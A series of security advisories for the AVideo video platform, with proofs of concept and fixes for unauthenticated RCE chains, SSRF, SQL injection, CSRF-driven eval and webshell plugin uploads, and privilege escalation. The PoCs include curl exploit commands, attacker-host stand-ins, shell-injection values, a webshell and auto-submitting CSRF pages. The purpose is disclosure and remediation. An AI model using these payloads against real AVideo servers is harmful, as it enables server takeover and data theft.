Summary
Multiple vulnerabilities in AVideo's CloneSite plugin chain together to allow a completely unauthenticated attacker to achieve remote code execution. The clones.json.php endpoint exposes clone secret keys without authentication, which can be used to trigger a full database dump via cloneServer.json.php. The dump contains admin password hashes stored as MD5, which are trivially crackable. With admin access, the attacker exploits an OS command injection in the rsync command construction in cloneClient.json.php to execute arbitrary system commands.
Details
Step 1: Clone Key Disclosure
plugin/CloneSite/clones.json.php:1-8 has zero authentication:
php <?php requireonce '../../videos/configuration.php'; requireonce $global['systemRootPath'] . 'plugin/CloneSite/Objects/Clones.php'; header('Content-Type: application/json'); $rows = Clones::getAll(); ?> {"data": <?php echo jsonencode($rows); ?>}
The response includes the key field for every registered clone, which is the sole authentication credential for clone operations.
Step 2: Database Dump via Stolen Key
plugin/CloneSite/cloneServer.json.php:73-97 — once the key passes Clones::thisURLCanCloneMe(), the server executes mysqldump and writes the result to a web-accessible directory:
php $cmd = "mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} " ." --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} > $sqlFile"; exec($cmd . " 2>&1", $output, $returnval);
The SQL file path is returned in the JSON response and is downloadable.
Step 3: Admin Credential Extraction
objects/user.php:1798 — passwords are stored as unsalted MD5:
php $passEncoded = md5($pass);
The users table in the dump contains user, password (MD5), and isAdmin fields. MD5 hashes crack in seconds.
Step 4: Command Injection via Rsync
plugin/CloneSite/cloneClient.json.php:259 — the videosDir from the clone server response is interpolated unsanitized into the rsync command:
php $rsync = "sshpass -p '{password}' rsync -av ... {$objClone->cloneSiteSSHUser}@{$objClone->cloneSiteSSHIP}:{$json->videosDir} ..."; exec($cmd . " 2>&1", $output, $returnval);
An admin who controls a clone server (or an attacker who has become admin) can inject arbitrary commands via the videosDir field.
PoC
bash Step 1: Steal clone keys (unauthenticated) curl -s 'http://target/plugin/CloneSite/clones.json.php' | jq '.data[0].key' Output: "a1b2c3d4e5f6..."
Step 2: Trigger database dump CLONEKEY="a1b2c3d4e5f6..." curl -s "http://target/plugin/CloneSite/cloneServer.json.php" \ --data "url=http://attacker.com&key=${CLONEKEY}&useRsync=0" | jq '.sqlFile' Output: "ClonemysqlDump1234567890.sql"
Step 3: Download the dump and extract admin credentials curl -s "http://target/videos/clones/ClonemysqlDump1234567890.sql" \ | grep -A2 "INSERT INTO.users" \ | grep -oP "admin','[a-f0-9]{32}" Output: admin','5f4dcc3b5aa765d61d8327deb882cf99 (MD5 of "password")
Step 4: Crack MD5 (trivial) echo -n "5f4dcc3b5aa765d61d8327deb882cf99" | hashcat -m 0 -a 0 rockyou.txt Output: password
Step 5: Login as admin, configure CloneSite with malicious server The attacker's clone server returns videosDir containing: /tmp$(id > /tmp/pwned) When rsync executes, the $(id) is evaluated by the shell
Impact
- Complete server compromise: Unauthenticated attacker achieves arbitrary command execution as the web server user - Full database disclosure: The entire database (users, videos, configurations, secrets) is exfiltrated - No user interaction: Every step is automated, no clicks or social engineering required - Credential theft: All user passwords (MD5) are trivially recoverable - Lateral movement: Database credentials and SSH credentials (stored encrypted in the plugins table) may enable access to other systems
Recommended Fix
1. Add authentication to clones.json.php: php // plugin/CloneSite/clones.json.php requireonce '../../videos/configuration.php'; if (!User::isAdmin()) { httpresponsecode(403); die(jsonencode(['error' => true, 'msg' => 'Admin required'])); }
2. Don't store SQL dumps in web-accessible directories — use a path outside the web root or require re-authentication to download.
3. Upgrade password hashing — replace MD5 with passwordhash() (bcrypt/argon2): php // Replace: $passEncoded = md5($pass); $passEncoded = passwordhash($pass, PASSWORDDEFAULT);
4. Sanitize rsync command parameters — use escapeshellarg() on all interpolated values: php $rsync = sprintf("rsync -av ... %s@%s:%s ...", escapeshellarg($objClone->cloneSiteSSHUser), escapeshellarg($objClone->cloneSiteSSHIP), escapeshellarg($json->videosDir) );
Summary
The standalone live stream control endpoint at plugin/Live/standAloneFiles/control.json.php accepts a user-supplied streamerURL parameter that overrides where the server sends token verification requests. An attacker can redirect token verification to a server they control that always returns {"error": false}, completely bypassing authentication. This grants unauthenticated control over any live stream on the platform, including dropping active publishers, starting/stopping recordings, and probing stream existence.
Details
The vulnerability exists because the streamerURL parameter is accepted directly from user input with no validation:
plugin/Live/standAloneFiles/control.json.php:77-79 — User input overrides server config: php if (!empty($REQUEST['streamerURL'])) { $streamerURL = $REQUEST['streamerURL']; }
plugin/Live/standAloneFiles/control.json.php:83-91 — The user-controlled value is assigned to the request object: php $obj->streamerURL = $streamerURL;
plugin/Live/standAloneFiles/control.json.php:115-126 — Token verification is sent to the attacker-controlled URL: php $verifyTokenURL = "{$obj->streamerURL}plugin/Live/verifyToken.json.php?token={$obj->token}"; // ... $content = filegetcontents($verifyTokenURL, false, streamcontextcreate($arrContextOptions));
The legitimate verifyToken.json.php performs cryptographic token validation via Live::decryptHash() and checks token expiry (12-hour window). By redirecting verification to an attacker server, all of this is bypassed — the attacker's server simply responds with {"error": false}.
After authentication is bypassed, the attacker can execute any of the four supported commands (lines 150-186): recordstart, recordstop, droppublisher, and isrecording, which issue control commands to the local NGINX RTMP control module.
SSL verification is also explicitly disabled (lines 119-124), meaning the SSRF request will follow any attacker URL without certificate validation.
Notably, the developers were aware of this exact attack pattern and fixed it in the sibling file standAloneFiles/saveDVR.json.php on 2026-03-19 with an explicit comment: "SECURITY: User-supplied webSiteRootURL is intentionally NOT accepted. Allowing it would enable SSRF." The same fix was not applied to control.json.php.
PoC
Step 1: Set up an attacker server that returns {"error": false} for all requests.
bash Minimal Python server on attacker machine (attacker.example.com:8888) python3 -c ' import http.server, json class H(http.server.BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200) self.sendheader("Content-Type","application/json") self.endheaders() self.wfile.write(json.dumps({"error": False}).encode()) def logmessage(self, a): pass http.server.HTTPServer(("0.0.0.0", 8888), H).serveforever() '
Step 2: Drop a victim's live stream (kill their broadcast):
bash curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=droppublisher&name=VICTIMSTREAMKEY&app=live&streamerURL=http://attacker.example.com:8888/"
Expected response (authentication bypassed, command executed): json {"error":false,"msg":"","streamerURL":"http://attacker.example.com:8888/","token":"anything","command":"droppublisher","app":"live","name":"VICTIMSTREAMKEY","response":"","requestedURL":"http://localhost:8080/control/drop/publisher?app=live&name=VICTIMSTREAMKEY"}
Step 3: Start unauthorized recording of a victim's stream:
bash curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=recordstart&name=VICTIMSTREAMKEY&app=live&streamerURL=http://attacker.example.com:8888/"
Step 4: Probe whether a stream name is active:
bash curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=isrecording&name=GUESSSTREAMKEY&app=live&streamerURL=http://attacker.example.com:8888/"
Impact
- Denial of Service on Live Streams: Any unauthenticated attacker can terminate any active live broadcast using droppublisher, causing immediate disruption for streamers and viewers. - Unauthorized Recording: An attacker can start recording any live stream without authorization using recordstart, potentially capturing private or sensitive content. - Stream Enumeration: The isrecording command allows probing for valid stream names. - SSRF: The server makes an outbound HTTP request to an attacker-controlled URL via filegetcontents(), which could be used to scan internal services or exfiltrate data via the request URL. - No authentication required: The entire attack is performed without any credentials.
Recommended Fix
Remove the streamerURL request parameter override entirely, matching the fix already applied in saveDVR.json.php. In plugin/Live/standAloneFiles/control.json.php, replace lines 77-79:
php // BEFORE (vulnerable): if (!empty($REQUEST['streamerURL'])) { $streamerURL = $REQUEST['streamerURL']; }
// AFTER (fixed): // SECURITY: User-supplied streamerURL is intentionally NOT accepted. // Allowing it would enable authentication bypass and SSRF via filegetcontents // on an attacker-controlled host. streamerURL MUST come from the configuration // file or be hard-coded in this file above. if (empty($streamerURL)) { errorlog("control.json.php: streamerURL is not configured"); die(jsonencode(['error' => true, 'msg' => 'Server not configured'])); }
Summary An unauthenticated server-side request forgery vulnerability in plugin/Live/test.php allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints.
Details The endpoint accepts $REQUEST['statsURL'] and only checks that it starts with http:
php $statsURL = $REQUEST['statsURL']; if (empty($statsURL) || $statsURL == "php://input" || !pregmatch("/^http/", $statsURL)) { exit; }
It then calls:
php $result = urlgetcontents($statsURL, 2);
Inside the same file, urlgetcontents() performs a real outbound request with filegetcontents() when allowurlfopen is enabled:
php $tmp = filegetcontents($url, false, $context); log('filegetcontents:: '.htmlentities($tmp));
There is:
- no authentication check - no allowlist of trusted stats URLs - no SSRF-safe URL validation - reflected response/error output
Validated on source:
- test.php
PoC Target used during validation:
text http://127.0.0.1:80
1. Probe a closed localhost port:
bash curl -s \ 'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:1/'
Observed response excerpt:
text Starting try to get URL http://127.0.0.1:1/ urlgetcontents start timeout=2 Warning: filegetcontents(http://127.0.0.1:1/): Failed to open stream: Connection refused filegetcontents fail return an empty content FAIL
2. Probe the local web service itself:
bash curl -s \ 'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:80/'
This returns upstream connection details from the server-side request and confirms the endpoint can target local/internal HTTP services.
Impact This is an unauthenticated SSRF vulnerability affecting any deployment that exposes plugin/Live/test.php.
An attacker can:
- probe localhost and internal network services - distinguish open and closed ports - target cloud metadata endpoints if reachable - retrieve reflected content from internal HTTP services when the upstream responds with a body
The server and the internal network reachable from it are impacted. No unauthenticated code execution was validated from this issue on the tested environment.
remediation The safest fix is to remove plugin/Live/test.php from production deployments.
If it must remain:
- require admin authentication - only allow requests to explicitly configured Live stats URLs - block localhost, RFC1918, link-local, and metadata IP ranges - stop reflecting fetched bodies and raw upstream errors to the client
Minimal hardening example:
php requireonce dirname(FILE) . '/../../videos/configuration.php';
if (!User::isAdmin()) { httpresponsecode(403); exit('Forbidden'); }
$statsURL = $REQUEST['statsURL'] ?? ''; if (empty($statsURL) || !isSSRFSafeURL($statsURL)) { exit('Unsafe URL'); }
Remove wget Fallback Entirely
The wget fallback provides no unique value over filegetcontents + curl and introduces shell exposure. Remove lines 94–119 of test.php.
If wget must remain, escape the argument:
php // BEFORE (vulnerable) $cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate";
// AFTER (safe) $cmd = "wget --tries=1 " . escapeshellarg($url) . " -O " . escapeshellarg($filename) . " --no-check-certificate";
Defense in Depth
1. Move the file behind the admin panel URL prefix (Apache/Nginx deny rule for public access) 2. Add isSSRFSafeURL() check (already exists in objects/functions.php) before any fetch 3. Block outbound connections from the web process to RFC1918 addresses at the firewall/egress level
Summary
AVideo allows content owners to password-protect individual videos. The video password is stored in the database in plaintext — no hashing, salting, or encryption is applied. If an attacker gains read access to the database (via SQL injection, a database backup, or misconfigured access controls), they obtain all video passwords in cleartext.
Details
File: objects/video.php
Vulnerable setter: php public function setVideopassword($videopassword) { AVideoPlugin::onVideoSetVideopassword($this->id, $this->videopassword, $videopassword); $this->videopassword = trim($videopassword); }
Vulnerable getter: php public function getVideopassword() { if (empty($this->videopassword)) { return ''; } return trim($this->videopassword); }
The value assigned to $this->videopassword is only trim()-ed before being persisted to the database column videopassword in the videos table. There is no call to any hashing function (e.g., passwordhash(), sha256, or similar).
When a visitor enters a password to access a protected video, the comparison is done directly against the stored plaintext: php // Comparison at access check: if ($video->getVideopassword() === $POST['password']) { ... }
This means: 1. Any database read (SQL injection, backup leak, hosting panel access) exposes all video passwords as cleartext. 2. Video passwords are often reused by users across other services, making this a credential harvesting risk. 3. The plaintext value is also present in application memory and any query logs.
PoC
1. Set a password on any video via the AVideo admin/creator UI. 2. Query the database: SELECT cleantitle, videopassword FROM videos WHERE videopassword != ''; 3. All video passwords are returned in plaintext — no cracking required.
Alternatively, exploit any of the SQL injection vulnerabilities already reported in this repository to extract the videopassword column directly.
Impact
- Type: Cleartext Storage of Sensitive Information (CWE-312) - Severity: High - Authentication required: No — any database read access (including via SQL injection by unauthenticated users) exposes all passwords - Impact: Full exposure of all video access passwords; credential reuse attacks against users who share passwords across services - Fix: Hash video passwords on write using passwordhash($videopassword, PASSWORDBCRYPT) and verify on read using passwordverify($POST['password'], $storedhash)
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the Liveschedule::keyExists() method constructs a SQL query by interpolating a stream key directly into the query string without parameterization. This method is called as a fallback from LiveTransmition::keyExists() when the initial parameterized lookup returns no results. Although the calling function correctly uses parameterized queries for its own lookup, the fallback path to Liveschedule::keyExists() undoes this protection entirely. This vulnerability is distinct from GHSA-pvw4-p2jm-chjm, which covers SQL injection via the livescheduleid parameter in the reminder function. This finding targets the stream key lookup path used during RTMP publish authentication. As of time of publication, no patched versions are available.
Summary
The Gallery plugin's saveSort.json.php endpoint passes unsanitized user input from $REQUEST['sections'] array values directly into PHP's eval() function. While the endpoint is gated behind User::isAdmin(), it has no CSRF token validation. Combined with AVideo's explicit SameSite=None session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution — requiring only that an admin visits an attacker-controlled page.
Details
Vulnerable code — plugin/Gallery/view/saveSort.json.php:20-25:
php if(!empty($REQUEST['sections'])){ $object = $gallery->getDataObject(); foreach ($REQUEST['sections'] as $key => $value) { $obj->sectionsSaved[] = array($key=>$value); eval("\$object->{$value}Order = \$key;"); } $obj->error = !$gallery->setDataObject($object); }
The $value variable from $REQUEST['sections'] is interpolated directly into the string passed to eval() with no sanitization — no allowlist, no regex validation, no escaping. Normal Gallery usage sends section names like 'Shorts', 'Trending', etc. from jQuery UI sortable, but the server enforces no such constraint.
CSRF enablement — objects/includeconfig.php:134-137:
php if ($isHTTPS) { iniset('session.cookiesamesite', 'None'); iniset('session.cookiesecure', '1'); }
The session cookie is explicitly set to SameSite=None, which instructs browsers to send the cookie on cross-site requests. This is also reinforced in objects/functionsPHP.php:330-333 where additional cookies are set with SameSite=None; Secure.
No CSRF protection — The endpoint performs no CSRF token validation, no Origin header check, no Referer header check, and no X-Requested-With header check. There is no global CSRF middleware in AVideo's bootstrap chain.
Exploit chain: 1. Attacker crafts a page with an auto-submitting form targeting saveSort.json.php 2. Admin visits the attacker's page (e.g., via a link in a comment, email, or message) 3. The browser sends the cross-site POST request with the admin's session cookie attached (due to SameSite=None) 4. User::isAdmin() passes because the admin's session is present 5. The injected PHP code in the sections array value is passed to eval() and executes
PoC
Step 1: Host the following HTML on an attacker-controlled server:
html <!DOCTYPE html> <html> <body> <form id="exploit" action="https://TARGET/plugin/Gallery/view/saveSort.json.php" method="POST"> <input type="hidden" name="sections[0]" value="x=1;system(base64decode('aWQ7aG9zdG5hbWU='));//"> </form> <script>document.getElementById('exploit').submit();</script> </body> </html>
The base64 decodes to id;hostname.
Step 2: Lure an authenticated AVideo admin to visit the page.
Step 3: The eval on line 24 executes: php $object->x=1;system(base64decode('aWQ7aG9zdG5hbWU='));//Order = 0;
This breaks out of the property assignment, calls system() with attacker-controlled arguments, and comments out the rest of the line. The response JSON will contain the command output, but even without seeing the response, the command executes server-side.
Expected result: The id and hostname commands execute on the server under the web server's user context.
Impact
- Remote Code Execution — An attacker achieves arbitrary PHP code execution on the server by luring an admin to visit a malicious page. No prior authentication or account on the target is required. - Full server compromise — The attacker can read/write files, access the database, pivot to other services, install backdoors, or exfiltrate data. - Stealth — The attack is a single form submission that completes in milliseconds. The admin may not notice anything unusual. - Blast radius — Any AVideo instance running over HTTPS (which triggers SameSite=None) where an admin can be lured to click a link is vulnerable.
Recommended Fix
Primary fix — Replace eval() with an allowlist check:
In plugin/Gallery/view/saveSort.json.php, replace lines 20-26:
php if(!empty($REQUEST['sections'])){ $object = $gallery->getDataObject(); $allowedSections = ['Shorts', 'Trending', 'SiteSuggestion', 'Newest', 'Subscribe', 'Popular', 'LiveStream', 'Category', 'Program', 'Channel']; foreach ($REQUEST['sections'] as $key => $value) { if (!inarray($value, $allowedSections, true)) { continue; } $obj->sectionsSaved[] = array($key => $value); $property = $value . 'Order'; $object->$property = intval($key); } $obj->error = !$gallery->setDataObject($object); }
This eliminates eval() entirely, validates $value against a known allowlist of section names, and uses dynamic property access ($object->$property) instead of code generation.
Secondary fix — Add CSRF protection to all state-changing endpoints, or at minimum set SameSite=Lax on session cookies instead of SameSite=None in objects/includeconfig.php:135:
php iniset('session.cookiesamesite', 'Lax');
This prevents session cookies from being sent on cross-site form submissions, blocking the CSRF vector for all endpoints.
Summary
The objects/pluginImport.json.php endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting session.cookiesamesite = 'None' for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.
Details
The root cause has two components working together:
1. SameSite=None on session cookies (objects/includeconfig.php:134-137):
php if ($isHTTPS) { iniset('session.cookiesamesite', 'None'); iniset('session.cookiesecure', '1'); }
This explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.
2. No CSRF protection on pluginImport.json.php (objects/pluginImport.json.php:18):
php if (!User::isAdmin()) { $obj->msg = "You are not admin"; die(jsonencode($obj)); }
The endpoint only checks User::isAdmin() via the session. There is: - No CSRF token validation (the verifyToken/globalToken mechanism used elsewhere is absent) - No allowOrigin() call (contrast with objects/videoAddNew.json.php which calls allowOrigin() at line 8) - No Referer or Origin header validation - No requirement for custom headers (e.g., X-Requested-With)
The upload form at view/managerPluginUpload.php also contains no CSRF token — it's a plain <form enctype="multipart/form-data"> with a file input.
Why the attack bypasses CORS preflight: multipart/form-data is a CORS-safelisted Content-Type, so a fetch() call with mode: 'no-cors' and credentials: 'include' sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect — plugin installation and PHP file extraction to the web-accessible plugin/ directory — is the objective.
Why secondary PHP files are not validated: The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (.phtml, .phar, .sh, etc.), and verifies the main plugin file extends PluginAbstract. However, .php is intentionally not in the dangerousExtensions list (it's a plugin system), and only the main file (PluginName/PluginName.php) is checked for the PluginAbstract pattern. Any additional .php files in the ZIP are extracted without content inspection.
PoC
Step 1: Create the malicious plugin ZIP
bash mkdir -p EvilPlugin Main file — passes PluginAbstract validation cat > EvilPlugin/EvilPlugin.php << 'PLUG' <?php class EvilPlugin extends PluginAbstract { public function getTags() { return array(); } public function getDescription() { return "test"; } public function getName() { return "EvilPlugin"; } public function getUUID() { return "evil-0000-0000-0000"; } public function getPluginVersion() { return "1.0"; } public function getEmptyDataObject() { return new stdClass(); } } PLUG
Secondary file — webshell, NOT checked for PluginAbstract cat > EvilPlugin/cmd.php << 'SHELL' <?php if(isset($GET['c'])) system($GET['c']); ?> SHELL
zip -r evil-plugin.zip EvilPlugin/
Step 2: Host the CSRF exploit page
html <!DOCTYPE html> <html> <body> <h1>Loading...</h1> <script> // Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php // In practice, the attacker would embed the base64-encoded ZIP bytes here async function exploit() { const zipResp = await fetch('evil-plugin.zip'); const zipBlob = await zipResp.blob();
const formData = new FormData(); formData.append('input-b1', zipBlob, 'evil-plugin.zip');
fetch('https://TARGETAVIDEOINSTANCE/objects/pluginImport.json.php', { method: 'POST', body: formData, mode: 'no-cors', credentials: 'include' }); } exploit(); </script> </body> </html>
Step 3: Admin visits attacker's page while logged into AVideo over HTTPS
The browser sends the multipart/form-data POST with the admin's PHPSESSID cookie (allowed by SameSite=None). The server processes the upload, validates the ZIP structure, and extracts it to plugin/EvilPlugin/.
Step 4: Attacker accesses the webshell
bash curl 'https://TARGETAVIDEOINSTANCE/plugin/EvilPlugin/cmd.php?c=id' uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
- Remote Code Execution: An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session. - Full server compromise: The webshell runs as the web server user (www-data), enabling data exfiltration, lateral movement, database access, and further privilege escalation. - No attacker account needed: The attacker requires zero privileges on the target system — only that an admin visits a page they control. - Stealth: The attack is invisible to the admin (fire-and-forget side-effect request). The no-cors mode means no visible error or redirect.
Recommended Fix
1. Add CSRF token validation to objects/pluginImport.json.php (primary fix):
php // After the isAdmin() check at line 18, add: if (!User::isAdmin()) { $obj->msg = "You are not admin"; die(jsonencode($obj)); }
// Add CSRF protection allowOrigin();
// Also validate a CSRF token if (empty($POST['globalToken']) || !verifyToken($POST['globalToken'])) { $obj->msg = "Invalid CSRF token"; die(jsonencode($obj)); }
2. Update the upload form in view/managerPluginUpload.php to include the token:
html <form enctype="multipart/form-data"> <input type="hidden" name="globalToken" value="<?php echo getToken(); ?>"> <input id="input-b1" name="input-b1" type="file" class=""> </form>
And pass it in the JavaScript upload config:
javascript $('#input-b1').fileinput({ uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php', uploadExtraData: { globalToken: $('input[name=globalToken]').val() }, // ... });
3. Consider changing SameSite=None to SameSite=Lax unless cross-origin cookie inclusion is specifically required for application functionality. Lax prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.
Summary
The restreamer endpoint constructs a log file path by embedding user-controlled usersid and liveTransmitionHistoryid values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to exec(), allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as $() or backticks.
Details
The vulnerability exists in plugin/Live/standAloneFiles/restreamer.json.php. The data flow is:
1. User input ingestion (line 220): php $request = filegetcontents("php://input"); $robj = jsondecode($request);
2. Log file template (line 58): php $logFile = $logFileLocation . "ffmpegrestreamer{usersid}" . date("Y-m-d-h-i-s") . ".log";
3. usersid injected without sanitization (line 318): php $obj->logFile = strreplace('{usersid}', $robj->usersid, $logFile);
4. liveTransmitionHistoryid injected without sanitization (line 407): php $pid[] = startRestream($m3u8, [$value], strreplace(".log", "{$key}{$robj->liveTransmitionHistoryid}{$host}.log", $logFile), $robj);
Note: intval() is applied to liveTransmitionHistoryid in the separate getProcess() function (line 805), but NOT in the runRestream() path that constructs the log file.
5. Unsanitized log file path passed to exec() (lines 720, 723): php // Line 720 (remote ffmpeg path): execFFMPEGAsyncOrRemote($command . ' > ' . $logFile . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);
// Line 723 (direct execution fallback): exec($command . ' > ' . $logFile . ' 2>&1 &');
The code sanitizes stream URLs via clearCommandURL() and uses escapeshellarg() for pgrep patterns elsewhere, but completely neglects the log file path — a classic oversight where one injection vector is hardened while an adjacent one is left open.
PoC
Prerequisites: A valid AVideo account with live streaming permissions and a valid restream token.
Step 1: Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API.
Step 2: Send a crafted restream request with shell metacharacters in usersid:
bash curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \ -H "Content-Type: application/json" \ -d '{ "token": "VALIDTOKEN", "m3u8": "https://example.com/stream.m3u8", "restreamsDestinations": ["rtmp://example.com/live/key"], "restreamsToken": ["VALIDTOKEN"], "usersid": "x$(id > /tmp/pwned)x", "liveTransmitionHistoryid": "1" }'
Step 3: The resulting exec call becomes: ffmpeg ... > /var/www/tmp/ffmpegrestreamerx$(id > /tmp/pwned)x2026-03-20-... .log 2>&1 &
The $() subshell executes id > /tmp/pwned before the redirection is processed.
Step 4: Verify command execution: bash curl -k "https://TARGET/tmp/pwned" Expected: output of id command showing the web server user
The same vector works through liveTransmitionHistoryid: bash curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \ -H "Content-Type: application/json" \ -d '{ "token": "VALIDTOKEN", "m3u8": "https://example.com/stream.m3u8", "restreamsDestinations": ["rtmp://example.com/live/key"], "restreamsToken": ["VALIDTOKEN"], "usersid": "1", "liveTransmitionHistoryid": "1$(whoami > /tmp/pwned2)1" }'
Impact
An authenticated user with restream permissions can execute arbitrary OS commands on the server with the privileges of the web server process. This allows:
- Full server compromise: Reading sensitive files (/etc/passwd, database credentials, .env files) - Data exfiltration: Accessing the AVideo database and all user data - Lateral movement: Using the compromised server as a pivot point - Service disruption: Killing processes, modifying or deleting files - Persistent backdoor: Installing web shells or cron jobs for ongoing access
The authentication requirement (PR:L) limits this to users who have been granted streaming access, but in many AVideo deployments user registration is open, making this effectively a low-barrier attack.
Recommended Fix
Sanitize both usersid and liveTransmitionHistoryid immediately after input, and use escapeshellarg() on the log file path before shell execution.
In restreamer.json.php, after line 220 (input decoding), add input sanitization:
php $robj = jsondecode($request); // Sanitize fields that will be used in file paths and shell commands if (isset($robj->usersid)) { $robj->usersid = pregreplace('/[^a-zA-Z0-9-]/', '', $robj->usersid); } if (isset($robj->liveTransmitionHistoryid)) { $robj->liveTransmitionHistoryid = intval($robj->liveTransmitionHistoryid); }
At lines 720 and 723, use escapeshellarg() on the log file path:
php // Line 720: execFFMPEGAsyncOrRemote($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);
// Line 723: exec($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 &');
Both fixes should be applied — input sanitization as defense-in-depth, and escapeshellarg() as the direct mitigation at the point of shell execution.
Summary
The plugin/Permissions/setPermission.json.php endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets session.cookiesamesite=None on session cookies. This allows an unauthenticated attacker to craft a page with <img> tags that, when visited by an admin, silently grant arbitrary permissions to the attacker's user group — escalating the attacker to near-admin access.
Details
The root cause is a combination of three issues:
1. $REQUEST used instead of $POST (accepts GET parameters):
plugin/Permissions/setPermission.json.php:14-24: php $intvalList = array('usersgroupsid','pluginsid','type','isEnabled'); foreach ($intvalList as $value) { if($REQUEST[$value]==='true'){ $REQUEST[$value] = 1; }else{ $REQUEST[$value] = intval($REQUEST[$value]); } }
$obj = new stdClass(); $obj->id = Permissions::setPermission($REQUEST['usersgroupsid'], $REQUEST['pluginsid'], $REQUEST['type'], $REQUEST['isEnabled']);
The only authorization check is User::isAdmin() at line 10 — there is no CSRF token validation via isGlobalTokenValid().
2. Session cookies set to SameSite=None:
objects/includeconfig.php:134-141: php if ($isHTTPS) { // SameSite=None is intentional: AVideo supports cross-origin iframe embedding iniset('session.cookiesamesite', 'None'); iniset('session.cookiesecure', '1'); }
This means the admin's session cookie is sent on cross-origin requests, including those initiated by <img src="..."> tags on attacker-controlled pages.
3. The codebase's own security model requires CSRF tokens on state-mutating endpoints:
The comment at includeconfig.php:137-138 states: "All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)." Other endpoints like saveSort.json.php and pluginImport.json.php enforce isGlobalTokenValid(), but setPermission.json.php does not.
Execution flow: 1. Attacker hosts a page containing <img src="https://target/plugin/Permissions/setPermission.json.php?usersgroupsid=2&pluginsid=1&type=10&isEnabled=true"> 2. Admin visits the page (e.g., via link in forum, email, or embedded content) 3. Browser issues GET request with the admin's SameSite=None session cookie 4. User::isAdmin() passes because the request carries the admin's session 5. Permissions::setPermission() grants PERMISSIONFULLACCESSVIDEOS (type=10) to user group 2 6. Any user in group 2 (including the attacker) now has full video admin access
The usersgroupsid values are small sequential integers (typically 1-3 for default groups) and can be trivially enumerated.
PoC
Step 1: Attacker creates a page granting multiple permissions to their user group (ID 2):
html <!DOCTYPE html> <html> <head><title>Interesting Video</title></head> <body> <h1>Check out this video!</h1> <!-- Each img tag silently fires a GET request with admin's session cookie --> <!-- PERMISSIONFULLACCESSVIDEOS (type=10) --> <img src='https://target.example.com/plugin/Permissions/setPermission.json.php?usersgroupsid=2&pluginsid=1&type=10&isEnabled=true' style='display:none'> <!-- PERMISSIONUSERS (type=20) --> <img src='https://target.example.com/plugin/Permissions/setPermission.json.php?usersgroupsid=2&pluginsid=1&type=20&isEnabled=true' style='display:none'> <!-- PERMISSIONCANUPLOADVIDEOS (type=70) --> <img src='https://target.example.com/plugin/Permissions/setPermission.json.php?usersgroupsid=2&pluginsid=1&type=70&isEnabled=true' style='display:none'> <!-- PERMISSIONCANLIVESTREAM (type=80) --> <img src='https://target.example.com/plugin/Permissions/setPermission.json.php?usersgroupsid=2&pluginsid=1&type=80&isEnabled=true' style='display:none'> </body> </html>
Step 2: Attacker sends the link to an admin (social engineering, forum post, etc.)
Step 3: When the admin loads the page, all four <img> tags fire simultaneously.
Expected response for each request (visible in browser dev tools): json {"id":"1"}
Step 4: Verify — the attacker (a regular user in group 2) now has full video management, user management, upload, and livestream permissions without being an admin.
Impact
- Privilege escalation: A low-privileged user can gain near-admin permissions (full video access, user management, upload, livestream) by tricking an admin into loading a single page. - No JavaScript required: The attack uses only <img> tags, bypassing Content Security Policy restrictions and working even in contexts where scripts are blocked (email clients, forum BBCode, etc.). - Zero interaction beyond page load: Unlike POST-based CSRF that requires form submission or JavaScript, this fires automatically when the page renders. - Chaining: Multiple permissions can be granted simultaneously by embedding multiple <img> tags. An attacker can grant their group all available permission types in a single page load. - Blast radius: All users in the targeted group receive the escalated permissions, not just the attacker.
Recommended Fix
In plugin/Permissions/setPermission.json.php, change $REQUEST to $POST and add CSRF token validation:
php <?php
header('Content-Type: application/json'); if (!isset($global['systemRootPath'])) { $configFile = '../../videos/configuration.php'; if (fileexists($configFile)) { requireonce $configFile; } } if(!User::isAdmin()){ forbiddenPage("Not admin"); }
// Enforce POST method and CSRF token if ($SERVER['REQUESTMETHOD'] !== 'POST') { die(jsonencode(array('error' => 'POST method required'))); } if (!isGlobalTokenValid()) { die(jsonencode(array('error' => 'Invalid CSRF token'))); }
$intvalList = array('usersgroupsid','pluginsid','type','isEnabled'); foreach ($intvalList as $value) { if($POST[$value]==='true'){ $POST[$value] = 1; }else{ $POST[$value] = intval($POST[$value]); } }
